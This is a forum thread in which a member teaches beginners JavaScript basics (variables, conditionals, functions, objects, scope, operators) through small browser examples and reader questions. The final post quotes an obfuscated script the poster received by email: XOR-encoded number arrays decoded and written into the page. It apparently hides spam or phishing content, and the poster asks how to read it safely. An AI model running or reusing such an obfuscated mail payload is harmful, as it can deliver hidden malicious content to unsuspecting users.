![]() |
Learn Javascript
Feel free to pipe up if you have any questions or comments, as I am certain to prove a highly imperfect teacher.
First, you'll need an environment: EDITOR: You can use any text editor, including Windows' built-in Notepad or Wordpad, but I recommend something the provides line numbers, as Javascript errors will reference the line number they're on. Textpad does this, as does jEdit, but there are many options. You can use MS Word and the like, but they're overkill, and the built-in spelling and grammar checkers may give you problems. BROWSER: Internet Explorer will run Javascript OK, but it doesn't provide helpful error messages when something goes awry. I recommend downloading Mozilla or Mozilla Firefox, and installing with the Javascript Debugger option. Very handy. Opera is also better than IE, if you already have that. Here is the Javascript testing tool I created, it's just a text box which you can paste Javascript into, and have it interpreted without the need to create an actual HTML file. I recommend cutting-and-pasting into the text box rather than trying to do your editing directly on the page itself. I'll add stuff to this page as we go to make it more useful, it's pretty rudimentary now. Let me know if you have any suggestions for it. On the next post, I'll start on the language itself. Edit: fixed spelling error. |
Ok, here's a short hunk of code to paste into the testing tool. Don't worry of you don't understand what everything does, just enter it in to get a taste of how it all works. I'll explain all the details later.. just make sure you enter it exactly as it appears here, semicolons and all. You don't have to be too fussy about indentation, though. Wimps can cut-and-paste, but you may benefit to type it in yourself, it helps commit it to memory.
I am intentionally avoiding the traditional "Hello World" approach on this one. It's an utterly exhausted cliché. Code:
var prompt = "Click OK to change the background to red.\nClick Cancel to make it blue."; So, paste this code in the tester, and click TEST. Assuming you typed everything correctly, you should see a dialog which does something different depending on what the user clicks. A very simple, very useless program. But if it's your first, then I am glad that I could be here to help you lose your programming virginity. I promise I'll call, I just have an early meeting, and need to go now... In my next post, I'll start explaining what all the bits in the example mean, and some other basic programming information. But that'll probably be tomorrow morning sometime. Must sleep. |
The next few posts are going to go through the example above line-by-line. I'll cover each topic more thoroughly later as we get to that part, but this'll be a good quick overview.
Code:
var prompt = "Click OK to change the background to red.\nClick Cancel to make it blue."; You can change a variable's value at any time, just by assigning it a new value with the equals operator, like so: Code:
prompt = "Do you like the color red?"; So how are variables useful? They're good for holding any information that may change while the script is running, or any information that may change with a future update of your script. Say you want to create a MadLibs webpage, where you want to ask the user for nouns, verbs, adjectives, etc, and then insert them all into a text for unexpected, potentially humorous (and potentially lame) outcomes. You'd want to store those user-provided words in variables, as well as the text that the words will be inserted into. I'll use the MadLibs idea for a sample later... I've actually built such a thing before, although I've long since misplaced the code. You may also wonder what the \n in that variable's value is all about... but if you entered the code into the Tester, you'll have already seen what it does. That's a newline character, which causes the text to break at that point and start on the next line down. It's one of several special characters, which we'll get to later. The next post will continue to walk through the code of the first example. |
A couple of questions...
Do you have to declare your variable types such as a string, a whole number etc? In the example of madlibs code, what are the commands for input and output of strings such as the "get" command? Does a double equal sign == mean not equal to? I haven't coded in a long time and I want to get a feel for the commands and structure of the language. |
Quote:
|
You may wonder what all of the semicolons are about. A semicolon is how Javascript marks the end of a code statement, similar to a period at the end of a sentence. You'll pretty much have a semicolon at the and of every line of code unless A) a statement spans two or more lines, in which case the semicolon will just go on the very end of the last line of the statement, B) the statement includes a block of code, or C) the statement is being used as a conditional or as an argument.
A block is a bunch of code that is all tied together by being surrounded with the curly-braces { and }. You'll usually create code blocks when you have code that should only be executed under certain circumstances... that's exactly what's going on in the first example, there are two blocks, one after the if (...) and one after else: Code:
if (confirm(prompt)) { A conditional is basically a test that the program can use to make a decision. A conditional will ALWAYS be true or false. The next line in the first example contains a conditional (everything inside the parenthases) and opens up a new block with the opening curly-brace: Code:
if (confirm(prompt)) { The if statement in the example is followed by an else, which is a completely optional condition, which basically reads as "if the preceeding if statement tested as false, then execute this block of code instead." An if statement can stand alone, or it can include an else, depending on the needs of your program. So we know what if is, and we know that it's conditional is contained inside parethases that immediately follow... so let's take a look at the conditional statement in our example: Code:
confirm(prompt) A function is a way of taking a bunch of code which completes a task, and separating it out of your main chunk of code. This way you can call that whole chunk of logic over and over as needed without cluttering up your main code with repetitive stuff. Javascript includes a bunch of built-in functions, and allows you to create your own. When we create the MadLibs example, we'll probably create a function which asks the user for the next word, and stores it in a variable for us... since that's something we'll have to do over and over. A function may take one or more arguments, which are passed to the function inside the parenthases that directly follow the function name. Arguments are just pieces of data which the function needs in order to do what it does. They can be passed to the function as variables, or as just values like 10 or "Some text". In our example, we passed the prompt variable as an argument to the confirm() function with confirm(prompt). If a function takes multiple arguments, they are separated by commas. Let's say we have a function called getWordFromUser() which takes two arguments... the first argument is the text that the user should be prompted with, like "Please enter a NOUN," and the second argument is the default value... the value that should be used in case the user hits Enter without entering anything. Our function call might look like this: Code:
getWordFromUser("Please enter a NOUN", "dog"); I'll continue to go through the first example line-by-line later today, when I get a chance to post again. If there's anything I haven't explained very well, or if you have any questions, speak up. There's a bunch of groundwork to cover before we get started programming, so be patient. :D Remember, we're still just in the introductory phase, so it's OK if you don't understand all of this yet. |
Beginners, you may gloss over this reply if you like, we'll cover this stuff soon enough.
Quote:
Quote:
Quote:
A post on Javascript operators will be coming up shortly. |
Having fun yet? Is anybody even reading this?
Ok, on we go to the next line: Code:
} That was easy. Ok, the next line: Code:
else { More later. |
Based on your information I thought I could input a string and have it printed on the screen. Just like the old "Hello World" program but with the text inputted by a user. The problem is while it seemingly inputs text, there is no output.
Here's what I wrote Quote:
Quote:
|
I'm reading it.
Can't do the exercises right now but will try them later. I would also point out for readers who may be assuming otherwise that Javascript and Java are not variants of the same language but are two completely separate languages (even tho they may have certain things in common). |
Quote:
Code:
var noun = prompt("Enter a noun", "dog"); |
Ah crap, I accidentally skipped a line previously:
Code:
document.bgColor = "red"; Alrighty, onto the next line of the example: Code:
alert("We'll make it blue then."); One thing I forgot to mention about JS functions... if you call a function which requires no arguments, you still need to pass the empty parethases, like so: Code:
someFunction(); Code:
document.bgColor = "blue"; And the last line: Code:
} Stay tuned. |
Thanks for the help. So madlib style would be something like this:
Quote:
I honestly don't mean to be a pest. I just want to get a handle on what we're dealing with because you said it was object oriented. |
Ok.. let's get a bit more in-depth.
VARIABLES: A variable is basically a data container whose contents can be changed as needed. If I create a variable called whatever, like so: Code:
var whatever; Code:
whatever = "Some data"; The second line assigns a number value to variable. Pretty straightforward. The third assigns a character, which is just any single alphanumeric character. These need to be enclosed in single-quotes. In Javascript, a character is just like a string that is only one character long. The fourth example above assigns the return value of the function to the variable. That return value may be a string, number, whatever. COMMENTS: I'll take a quick aside here and mention comments... on any given line of code, if you put two slashes (//), then everything after that point on that line will be ignored, so you can insert comments. I'll use these in the example below. You can also put comments inside of /* and */, and then the comment can span multiple lines. Any time you use a variable name in your code, the value currently contained in the variable will be substituted. Example: Code:
var myNumber = 0; Code:
var Test; As a general rule, try to use logical names for your variables, so you can remember what you're using them for. A variable called it isn't nearly as descriptive as bookTitle or softwareVersion. The extra keystrokes are worth it. You'll also notice that with multi-word variable names in my sample code, I don't capitalize the first letter of the first word, but I do the first letter of every subsequent word (see above). This is common practice in several programming languages, but is not required. Function names follow a similar practice, except that the first letter IS captialized. Next up: Objects. Unless I think of something else I should mention first. |
New programmers can skip this post
Quote:
Javascript has no libraries to import, all the built-in functions are always available. Now, if you write your own custom code, you'll need to import that, but that's down the road a bit. Your guess is correct... Javascript automatically creates an object called document, and it has a write() function which is similar to C's printf. You can pass write() as many arguments as you like, and they'll all be printed, one after the other. Quote:
|
So now you should have an idea what a variable is, and what a function is. A variable is a piece of data, and a function is code that you can pass arguments to in order to execute one or more actions. So that leads us to:
OBJECTS Let's say you wanted to write a program that simulates a car. You might define a few variables to set the parameters of the car, like so: Code:
var make = "Chevrolet"; Well, that's all fine and dandy, but what if you wanted your program to simulate two cars? Do you add the car name to the variables, and define an entirely separate set for the new car? Perhaps. But what if you want to simulate 100 cars? That would be a lot of variable naming. This is one useful application of programming Objects. An object is a variable which has it's own sub-set of variables and functions. I can define an object called Car, which contains all of the above variables and methods. Then, every instance of Car I create has it's own unique values for those variables, and when I run a function for one of the Car objects, the other Car objects are unaffected. A bit later we'll get into how to create custom objects, but Javascript does automatically create a bunch of objects automatically, such as the document object, which is created to allow you access to the webpage you're working with. To access an object's variables and functions, you provide the object variable, and then a period, and then the variable name of function name that you want. For example, with our fictional Car object: Code:
camaroSS.accelerate(); Code:
document.write("Some text"); Code:
alert(window.location); More later. |
I'm right with you. I have to read each line of your description 3 times, but it makes sense if I read slowly. I have a question, though. The very first characters of each code....are those commas, or periods?
it seems like they don;t matter. I did this without, and it works: this will be funnier for you if you don;t read the code first, but just paste it into the tester and run it.......but it still won;t be all that funny, so don;t get all excited var prompt = "Click OK if you understand this shit.\nClick Cancel if it's making your hair hurt."; if (confirm(prompt)) { document.write("yeah, bullshit, fonzie"); } else { alert("You're pretty dumb."); document.write("yup, pretty dumb"); } |
Quote:
|
Quote:
. var make = "Chevrolet"; var model = "Camaro SS"; var exteriorColor = "black"; var interiorColor = "charcoal"; var horsePower = "410"; . are these even part of the code, or are you just putting them there out of habit? |
What browser are you using? On mine, those are horizontal lines - not pat of the code at all.
|
-lumberjim
netscape 7.1 |
1 Attachment(s)
see?
|
Quote:
What are you doing running Nutscrape anyway? What kind of daft, running-around-with-limp-wrists silly person would choose Netscape over Mozilla? :D |
I've been through this with syc and UT. I LIKE netscape. Mozilla appears to just be askin to my netscape anyway, and it does not load IM, or my tabs. I have to tell it to show me navigator tabs, and it moves slower. I'll just ignore the dots.
browser snob |
Less chatting, more programming please.
|
Quote:
"Netscape is the short bus of web browsers!" "I'm not saying that anybody who uses Netscape is a dumb person, I'm just saying that even smart people are capable of doing dumb things." "Allow me to disabuse you of the notion that your browser of choice is in any way superior to a rotting heap of rhino feces!" I forget what the third step is, something about "intervention" or "hypertension" or "Star Trek convention." But we'll deal with that later. Programming... right. More to come soon. |
Well, things at work just got crazy, so there problably won't be anything new today. If I have time tonight I'll post something, though.
|
BUTTONS
hey, this is probably premature, but, how do you change the words on the buttons themselves?
does JS support that, or must you create a whole new code or object to be that prompt? oh, and can you crack the code in a browser or OS and make it change the word that displays on the normal buttons? ie. in stead of the button saying "OK" on it, it could say " Sure, why not" |
{(document.bgColor = "red");
(document.write("Coolness Quotient Test Site")); alert ("click OK to begin test"); document.write(" Results: You're a tool"); } how do you change the colors of the words? how do you clear the page to display the results? how do you change the location of the text on the page? |
Sorry about the delay, I'm currently being taken advantage of by my employer. I like working seven days a week for 12 hours per day.
I'll post more as soon as I am able. |
Let's make with the programming
|
Watch for more tomorrow. Yesterday I worked until 1:30am, and then this morning my employer called me and got me out of bed to come back into the office on urgent business. Spare time is, at the moment, a luxury I don't have.
Sorry about the delay. |
Ok, sorry about that delay. Due to over-exposure to work, I was clinically dead for a while. But it went away.
Quote:
Quote:
More soon. |
I think I'm still with you, although it did get a little fuzzy wif objects n cars n stuff.. but so far so good.
|
This would be a good time to mention variable scope. When you create a variable in your script with the var keyword, that is where the variable is defined. If the variable is defined inside a block, it's scope is limited to that block. What that means is, once you leave the block of code which defined the variable, it goes away, and no code outside of that block can see the variable. However, any sub-blocks of the block which contains the variable definition can access it, no matter how deep the sub-block is.
Any variable defined outside of a block is accessible to everything, because it is in the assumed block which wraps around everything, and every other block is a sub-block of that one. Such a variable is called a "global" variable, since everything can see it. Here's a chunk of code to illustrate... the numbers are there as a reference, not part of the code itself: Code:
00 var jimIQ = 135; If I tried to accecss jimResponse , notJimResponse or iqResponse at any point after line 15, I'd get a "variable not defined" error, because their blocks ended, and the variables went away. Next: Functions. Then Operators. Then conditionals and loops. Unless I think of something else that I ought to cover first. The way scope works, and it's usefulness, will become more obvious when we get to Functions and Loops. |
Quote:
|
Can you reference line numbers as you could in the old basic programming language? For instance "Goto 20"?
|
Quote:
I'll try to post the next bit this afternoon, if I get a break in work... |
I tried to post some javascript for a random sound generator, but it was apparantly incorporated into the page so you couldn't see anything (or hear anything because the sounds aren't here)
|
Quote:
I hope to post more here later today, assuming my brain receovers. I was here at work until 5:30 in the morning, and now I'm back again, so I'm a bit fried at this very moment. |
Ok... the gaping maw of work which recently swallowed me up has finally vomited me back out again. Look for more here soon.
|
yeah, you keep saying that, you big tease. why should we trust you this time?
|
Ok, on to Functions. If you want to create a function, you use the function keyword. Like with var, the function keyword is then followed by the function name. Then, you include a list of arguments in parethases (we'll get to this in a bit), and then the block of code which will execute when a call is made to this function.
Here's a simple example, using some code from a previous example: Code:
function changeBackgroundColor () { Code:
changeBackgroundColor(); Now let's modify it to accept arguments. When we create the function with the function keyword, if we define arguments in the parenthases, then we can pass information to the function for it to work with. Here's an example: Code:
function changeBackgroundColor (prompt, newColor) { Code:
var colorPrompt = "Click OK to change the background color.\nClick Cancel to leave it unchanged."; Code:
changeBackgroundColor ("Do you want to change the background color?", "green"); Code:
function addTwoNumbers (first, second) { Code:
var someNumber = prompt("Enter any number"); Suppose the user leaves the entry fields blank when they run this script. The prompt() function would return an empty string (""), and the call to addTwoNumbers() would fail, because there are no numbers to add. If we wanted to be cautious in our programming, and make sure the user didn't provide an empty string, we can test for that in the function, and provide an error if necessary: Code:
function addTwoNumbers (first, second) { More later... |
Quote:
|
I'm not seeing any questions from people trying to clarify what I've written... does that mean that I'm doing such a por job of explaining that no one knows what to ask, or am I doing such a wonderful job of explaining that there are no unanswered questions yet?
Or is it just that no one is reading this thread anymore? Hello? Echo echo echo... |
it's been so long since i read the first part, i'll have to start over from the beginning. Based on your prior descriptions, I'm sure the last one was fine....I'll catch up.
|
OPERATORS
An operator in programming is like an operator in Math... add (+), subtract (-), multiply (*), divide (/)... etc. There are lots of them in programming. I'll cover the basic ones here, and we may run into others as we go along. For numbers, operator behavior is exactly as expected. These are called Arithmetic Operators: Code:
alert(100 + 200); //add Code:
var someNumber = 10 + 3; Code:
var attendees = 40; Code:
function getUserName () { Code:
Two items are equal: == The last kind of operator to cover right now are Logical operators. There is the Logical AND operator (&&) and the Logical OR (||) operator. These allow you to have two or more conditions inside a conditional statement. With AND, both conditionals must test TRUE in order to execute the conditional's block. With OR, at least one of the conditionals must test TRUE. Code:
var firstNumber = 900; |
By the way... everyone who is currently paying attention to this thread, please pipe up and let me know. If Jimbo is the only one reading it at this point, then it's probably not worth posting it all publicly.
I just want to make certain that it's worthwhile to type all this up. |
I'm looking at it between schooling criminals who want to rob me and everyone else in America. ;)
|
a conundrum for the class
I received this little ditty in the mail. Just for my own perverse interest, is there any good way to figure out what the output is without actually running it? (I have replaced '< >' with '{ }' for obvious reasons.)
{script language="JavaScript"} expedition = new Array(47, 56,61,35,3,66,8,80,134,98,140, 44,91,118,210,214,122,190,180,244,82, 166,73,122,91,249,157,191,48,42,16, 64,144,213,71,218,42,174,199,132,87, 174,14,232,51,84,238,123,153,133,164, 124,10,46,117,9,52,148,190,68,10, 134,46,132,149,32,57,62,31,30,251, 91,107,96,14,178,7,147,52,32,143, 108,89,237,87,41,21,131,104,120,132, 177,55,55,207,47,185,36,168,34,67, 176,133,45,110,193,102,14,84,20,108, 227,145,128,9,81,170,130,81,121,59, 249,223,178,215,44,140,209,179,159,135, 139,207,179,195,250,95,160,78,245,162, 180,117,123,196,72,25,46,150,120,182, 91,21,13,110,57,51,76,25,206,59, 161,114,47,85,233,146,78,193,242,187, 127,233,35,79,41,193,252,220,26,5, 99,66,164,241,103,250,111,136,170,154, 40,157,44,168,103,72,178,116,140,142, 237,96,3,35,37,84,86,242,237,70, 23,197,97,171,180,126,52,44,76,89, 171,110,46,90,99,216,27,178,18,28, 183,96,10,215,101,9,8,232,14,122, 145,245,120,104,130,80,142,82,202,40, 73,172,149,74,27,170,31,14,66,102, 125,156,226,237,28,62,182,159,53,102, 82,246,213,165,182,61,225,162,192,152, 140,238,166,175,136,208,70,169,83,244, 174,209,121,18,194,78,125,94,151,109, 166,51,17,105,5,38,56,41,122,201, 61,213,6,52,92,248,146,75,193,237, 187,12,140,61,79,41,184,162,147,15, 100,97,43,181,245,9,239,1,152,197, 243,56,232,45,201,8,63,212,92,164, 192,223,17,109,44,20,74,20,182,148, 22,121,237,74,138,135,29,3,93,123, 125,139,94,101,8,97,178,111,149,41, 82,138,19,89,233,87,41,123,234,111, 16,248,197,55,83,168,96,224,57,189, 43,47,223,234,55,110,219,1,15,73, 20,21,147,237,228,0,48,223,236,66, 111,59,232,208,191,165,68,157,199,220, 128,133,139,226,246,201,149,68,163,72, 232,160,180,123,125,209,32,106,59,135, 12,160,67,112,12,24,42,46,92,30, 202,49,173,6,38,88,241,146,71,193, 224,208,127,140,50,67,45,221,209,131, 4,100,98,44,182,144,106,230,14,146, 166,255,71,232,40,192,103,35,216,50, 165,161,208,18,19,44,12,37,14,245, 219,122,120,247,72,226,157,95,93,70, 102,114,130,54,107,97,7,198,126,155, 40,82,135,15,89,251,81,40,21,159, 107,120,249,217,88,79,164,108,244,80, 188,62,47,203,236,46,99,168,117,14, 66,20,17,147,231,249,121,81,173,236, 88,107,85,152,222,176,215,39,133,205, 218,147,140,226,207,165,202,143,6,226, 82,242,174,216,113,18,207,79,106,59, 255,98,186,71,24,0,0,40,82,37, 122,202,72,195,111,32,52,237,254,86, 211,153,183,12,140,44,69,46,184,182, 147,3,100,121,45,211,227,108,235,111, 139,173,251,63,232,53,206,2,45,189, 94,172,175,210,83,53,64,28,33,30, 214,255,24,25,244,65,135,146,67,76, 46,108,115,136,95,107,105,15,162,7, 151,53,55,128,11,89,234,87,37,102, 234,116,13,229,184,57,42,172,2,251, 63,189,78,92,200,224,59,102,209,1, 8,78,115,21,134,131,225,14,95,182, 152,70,10,66,247,196,202,216,2,162, 236,231,238,245,225,159,194,136,208,55, 152,33,199,139,253,90,92,190,34,90, 27,177,88,144,97,114,119,114,9,19, 107,46,171,27,232,92,2,41,159,135, 33,160,218,145,51,195,7,55,89,187, 183,144,103,116,29,82,209,142,21,207, 111,180,151,223,13,245,67,238,51,0, 237,40,204,207,238,41,72,34,54,6, 62,153,163,91,86,208,101,236,177,121, 115,33,85,19,160,96,100,25,113,214, 23,228,77,45,134,26,87,214,107,1, 89,232,5,27,253,223,84,79,224,40, 251,53,187,43,47,200,234,90,120,205, 100,102,78,96,125,154,236,247,121,87, 171,236,66,101,73,243,194,202,216,5, 243,190,188,182,166,160,155,194,185,245, 123,214,12,172,219,246,79,12,142,10, 5,28,173,18,248,25,108,43,60,81, 113,15,102,233,26,191,43,109,40,223, 192,61,141,179,194,61,222,75,7,113, 164,147,164,105,73,39,94,145,194,23, 163,69,209,239,134,68,170,14,226,62, 74,144,24,238,234,165,113,87,120,56, 6,101); shutdowns = new Array(19, 80,73,78,111,124,5,90,139,104,129, 38,103,20,189,178,3,128,185,254,95, 172,117,10,123,152,241,214,87,68,45, 98,243,176,41,174,79,220,229,186,107, 200,97,134,71,116,157,18,227,224,153, 94,63,12,85,106,91,248,209,54,55, 164,13,194,211,16,9,14,47,60,197, 26,75,40,65,230,39,212,125,114,195, 64,121,190,31,108,53,202,59,88,177, 150,23,4,237,34,179,112,233,110,15, 156,165,122,43,136,33,70,7,52,93, 210,163,160,89,30,255,204,21,42,27, 184,145,246,247,100,205,130,147,208,201, 206,239,252,133,218,11,232,1,166,231, 148,61,50,131,0,57,126,223,44,245 ); blasphemous = 963; processes = 151; var gasped = ""; for(genders = 0; genders < blasphemous; genders++) gasped = gasped + String.fromCharCode(expedition[genders] ^ shutdowns[genders % processes]); document.write(gasped); {/script} |
All times are GMT -5. The time now is 10:40 PM. |
Powered by: vBulletin Version 3.8.1
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.